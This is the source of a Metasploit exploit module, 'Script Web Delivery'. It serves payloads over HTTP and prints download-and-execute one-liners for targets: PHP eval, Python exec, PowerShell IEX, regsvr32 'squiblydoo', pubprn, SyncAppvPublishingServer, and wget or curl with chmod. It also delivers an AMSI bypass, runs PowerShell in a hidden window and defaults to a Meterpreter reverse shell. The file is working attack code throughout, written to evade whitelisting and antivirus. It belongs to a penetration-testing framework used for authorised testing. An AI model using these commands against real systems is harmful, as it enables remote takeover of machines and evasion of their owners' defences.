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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = ManualRanking
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  include Msf::Exploit::EXE
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  include Msf::Exploit::Powershell
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  include Msf::Exploit::Remote::HttpServer
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Script Web Delivery',
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        'Description' => %q{
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          This module quickly fires up a web server that serves a payload.
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          The module will provide a command to be run on the target machine
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          based on the selected target. The provided command will download
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          and execute a payload using either a specified scripting language
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          interpreter or "squiblydoo" via regsvr32.exe for bypassing
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          application whitelisting.
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          The main purpose of this module is to quickly establish a session on a
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          target machine when the attacker has to manually type in the command:
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          e.g. Command Injection, RDP Session, Local Access or maybe Remote
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          Command Execution.
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          This attack vector does not write to disk so it is less likely to
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          trigger AV solutions and will allow privilege escalations supplied
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          by Meterpreter.
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          When using either of the PSH targets, ensure the payload architecture
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          matches the target computer or use SYSWOW64 powershell.exe to execute
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          x86 payloads on x64 machines.
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          Regsvr32 uses "squiblydoo" technique to bypass application whitelisting.
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          The signed Microsoft binary file, Regsvr32, is able to request an .sct
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          file and then execute the included PowerShell command inside of it.
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          Similarly, the pubprn target uses the pubprn.vbs script to request and
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          execute a .sct file.
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          Both web requests (i.e., the .sct file and PowerShell download/execute)
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          can occur on the same port.
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          The SyncAppvPublishingServer target uses SyncAppvPublishingServer.exe
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          Microsoft signed binary to request and execute a PowerShell script. This
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          technique only works on Windows 10 builds <= 1709.
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          "PSH (Binary)" will write a file to the disk, allowing for custom binaries
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          to be served up to be downloaded and executed.
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        },
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        'License' => MSF_LICENSE,
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        'Author' =>
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          [
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            'Andrew Smith "jakx" <[email protected]>',
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            'Ben Campbell',
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            'Chris Campbell', # @obscuresec - Inspiration n.b. no relation!
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            'Casey Smith', # AppLocker bypass research and vulnerability discovery (@subTee)
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            'Trenton Ivey', # AppLocker MSF Module (kn0)
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            'g0tmi1k', # @g0tmi1k // https://blog.g0tmi1k.com/ - additional features
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            'bcoles', # support for targets: pubprn, SyncAppvPublishingServer and Linux wget
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            'Matt Nelson', # @enigma0x3 // pubprn discovery
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            'phra', # @phraaaaaaa // https://iwantmore.pizza/ - AMSI/SBL bypass
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            'Nick Landers', # @monoxgas // SyncAppvPublishingServer discovery
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          ],
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        'DefaultOptions' =>
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          {
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            'Payload' => 'python/meterpreter/reverse_tcp',
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            'Powershell::exec_in_place' => true
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          },
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        'References' =>
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          [
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            ['URL', 'https://securitypadawan.blogspot.com/2014/02/php-meterpreter-web-delivery.html'],
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            ['URL', 'https://www.pentestgeek.com/2013/07/19/invoke-shellcode/'],
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            ['URL', 'http://www.powershellmagazine.com/2013/04/19/pstip-powershell-command-line-switches-shortcuts/'],
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            ['URL', 'https://www.darkoperator.com/blog/2013/3/21/powershell-basics-execution-policy-and-code-signing-part-2.html'],
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            ['URL', 'https://subt0x10.blogspot.com/2017/04/bypass-application-whitelisting-script.html'],
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            ['URL', 'https://enigma0x3.net/2017/08/03/wsh-injection-a-case-study/'],
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            ['URL', 'https://iwantmore.pizza/posts/amsi.html'],
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            ['URL', 'https://lolbas-project.github.io/lolbas/Binaries/Regsvr32/'],
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            ['URL', 'https://lolbas-project.github.io/lolbas/Binaries/Syncappvpublishingserver/'],
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            ['URL', 'https://lolbas-project.github.io/lolbas/Scripts/Pubprn/'],
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          ],
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        'Platform' => %w[python php win linux osx],
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        'Targets' =>
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          [
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            [
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              'Python', {
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                'Platform' => 'python',
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                'Arch' => ARCH_PYTHON
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              }
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            ],
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            [
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              'PHP', {
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                'Platform' => 'php',
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                'Arch' => ARCH_PHP
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              }
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            ],
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            [
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              'PSH', {
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                'Platform' => 'win',
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                'Arch' => [ARCH_X86, ARCH_X64]
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              }
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            ],
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            [
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              'Regsvr32', {
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                'Platform' => 'win',
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                'Arch' => [ARCH_X86, ARCH_X64]
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              }
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            ],
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            [
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              'pubprn', {
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                'Platform' => 'win',
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                'Arch' => [ARCH_X86, ARCH_X64]
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              }
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            ],
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            [
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              'SyncAppvPublishingServer', {
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                'Platform' => 'win',
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                'Arch' => [ARCH_X86, ARCH_X64]
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              }
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            ],
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            [
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              'PSH (Binary)', {
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                'Platform' => 'win',
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                'Arch' => [ARCH_X86, ARCH_X64]
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              }
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            ],
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            [
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              'Linux', {
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                'Platform' => 'linux',
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                'Arch' => [ARCH_X86, ARCH_X64]
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              }
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            ],
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            [
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              'Mac OS X', {
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                'Platform' => 'osx',
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                'Arch' => [ARCH_X86, ARCH_X64]
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              }
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            ],
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          ],
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        'DefaultTarget' => 0,
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        'DisclosureDate' => '2013-07-19'
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      )
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    )
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    register_advanced_options(
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      [
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        OptBool.new('PSH-AmsiBypass', [ true, 'PSH - Request AMSI/SBL bypass before the stager', true ]),
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        OptString.new('PSH-AmsiBypassURI', [ false, 'PSH - The URL to use for the AMSI/SBL bypass (Will be random if left blank)', '' ]),
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        OptBool.new('PSH-EncodedCommand', [ true, 'PSH - Use -EncodedCommand for web_delivery launcher', true ]),
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        OptBool.new('PSH-ForceTLS12', [ true, 'PSH - Force use of TLS v1.2', true ]),
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        OptBool.new('PSH-Proxy', [ true, 'PSH - Use the system proxy', true ]),
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        OptString.new('PSHBinary-PATH', [ false, 'PSH (Binary) - The folder to store the file on the target machine (Will be %TEMP% if left blank)', '' ]),
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        OptString.new('PSHBinary-FILENAME', [ false, 'PSH (Binary) - The filename to use (Will be random if left blank)', '' ]),
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      ]
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    )
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  end
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  def primer
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    print_status('Run the following command on the target machine:')
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    case target.name
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    when 'PHP'
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      print_line(%(php -d allow_url_fopen=true -r "eval(file_get_contents('#{get_uri}', false, stream_context_create(['ssl'=>['verify_peer'=>false,'verify_peer_name'=>false]])));"))
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    when 'Python'
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      print_line(%(python -c "import sys;import ssl;u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('#{get_uri}', context=ssl._create_unverified_context());exec(r.read());"))
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    when 'PSH'
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      uri = get_uri
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      if datastore['PSH-AmsiBypass']
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        amsi_uri = uri + amsi_bypass_uri
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        print_line(gen_psh([amsi_uri, uri], 'string').to_s)
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      else
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        print_line(gen_psh(uri, 'string').to_s)
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      end
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    when 'pubprn'
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      print_line(%(C:\\Windows\\System32\\Printing_Admin_Scripts\\en-US\\pubprn.vbs 127.0.0.1 script:#{get_uri}.sct))
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    when 'SyncAppvPublishingServer'
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      print_line(%(SyncAppvPublishingServer.exe "n;(New-Object Net.WebClient).DownloadString('#{get_uri}') | IEX"))
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    when 'Regsvr32'
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      print_line(%(regsvr32 /s /n /u /i:#{get_uri}.sct scrobj.dll))
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    when 'PSH (Binary)'
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      psh = gen_psh(get_uri.to_s, 'download')
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      print_line(psh.to_s)
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    when 'Linux'
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      fname = Rex::Text.rand_text_alphanumeric(8)
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      print_line("wget -qO #{fname} --no-check-certificate #{get_uri}; chmod +x #{fname}; ./#{fname}& disown")
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    when 'Mac OS X'
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      fname = Rex::Text.rand_text_alphanumeric(8)
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      print_line("curl -sk --output #{fname} #{get_uri}; chmod +x #{fname}; ./#{fname}& disown")
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    end
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  end
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  def amsi_bypass_uri
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    unless datastore['PSH-AmsiBypassURI'].empty?
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      @amsi_uri = datastore['PSH-AmsiBypassURI']
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    end
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    @amsi_uri ||= random_uri
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  end
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  def on_request_uri(cli, request)
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    if request.raw_uri.to_s.ends_with?('.sct')
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      print_status('Handling .sct Request')
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      psh = gen_psh(get_uri.to_s, 'string')
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      case target.name
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      when 'pubprn'
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        data = gen_pubprn_sct_file(psh)
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      when 'Regsvr32'
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        data = gen_sct_file(psh)
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      else
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        print_error('Unexpected request for .sct file')
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      end
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      send_response(cli, data, 'Content-Type' => 'text/plain')
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      return
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    end
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    if request.raw_uri.to_s.ends_with?(amsi_bypass_uri)
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      data = bypass_powershell_protections
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      print_status("Delivering AMSI Bypass (#{data.length} bytes)")
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      send_response(cli, data, 'Content-Type' => 'text/plain')
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      return
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    end
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    case target.name
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    when 'Linux', 'Mac OS X', 'PSH (Binary)'
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      data = generate_payload_exe
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    when 'PSH', 'Regsvr32', 'pubprn', 'SyncAppvPublishingServer'
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      data = cmd_psh_payload(
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        payload.encoded,
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        payload_instance.arch.first
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      )
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    else
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      data = payload.encoded.to_s
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    end
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    print_status("Delivering Payload (#{data.length} bytes)")
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    send_response(cli, data, 'Content-Type' => 'application/octet-stream')
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  end
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  def gen_psh(url, *method)
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    ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssl
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    force_tls12 = Rex::Powershell::PshMethods.force_tls12 if datastore['PSH-ForceTLS12']
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    if method.include? 'string'
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      download_string = datastore['PSH-Proxy'] ? Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(url) : Rex::Powershell::PshMethods.download_and_exec_string(url)
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    else
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      # Random filename to use, if there isn't anything set
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      random = "#{rand_text_alphanumeric(8)}.exe"
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      # Set filename (Use random filename if empty)
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      filename = datastore['PSHBinary-FILENAME'].blank? ? random : datastore['PSHBinary-FILENAME']
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      # Set path (Use %TEMP% if empty)
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      path = datastore['PSHBinary-PATH'].blank? ? '$env:temp' : %('#{datastore['PSHBinary-PATH']}')
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      # Join Path and Filename
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      file = %(echo (#{path}+'\\#{filename}'))
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      # Generate download PowerShell command
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      download_string = Rex::Powershell::PshMethods.download_run(url, file)
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    end
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    download_and_run = "#{force_tls12}#{ignore_cert}#{download_string}"
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    # Generate main PowerShell command
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    if datastore['PSH-EncodedCommand']
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      download_and_run = encode_script(download_and_run)
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      return generate_psh_command_line(noprofile: true, windowstyle: 'hidden', encodedcommand: download_and_run)
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    end
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    return generate_psh_command_line(noprofile: true, windowstyle: 'hidden', command: download_and_run)
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  end
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  def rand_class_id
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    "#{Rex::Text.rand_text_hex(8)}-#{Rex::Text.rand_text_hex(4)}-#{Rex::Text.rand_text_hex(4)}-#{Rex::Text.rand_text_hex(4)}-#{Rex::Text.rand_text_hex(12)}"
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  end
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  def gen_sct_file(command)
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    %{<?XML version="1.0"?><scriptlet><registration progid="#{rand_text_alphanumeric(8)}" classid="{#{rand_class_id}}"><script><![CDATA[ var r = new ActiveXObject("WScript.Shell").Run("#{command}",0);]]></script></registration></scriptlet>}
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  end
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  def gen_pubprn_sct_file(command)
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    %{<?XML version="1.0"?><scriptlet><registration progid="#{rand_text_alphanumeric(8)}" classid="{#{rand_class_id}}" remotable="true"></registration><script><![CDATA[ var r = new ActiveXObject("WScript.Shell").Run("#{command}",0);]]></script></scriptlet>}
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  end
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end
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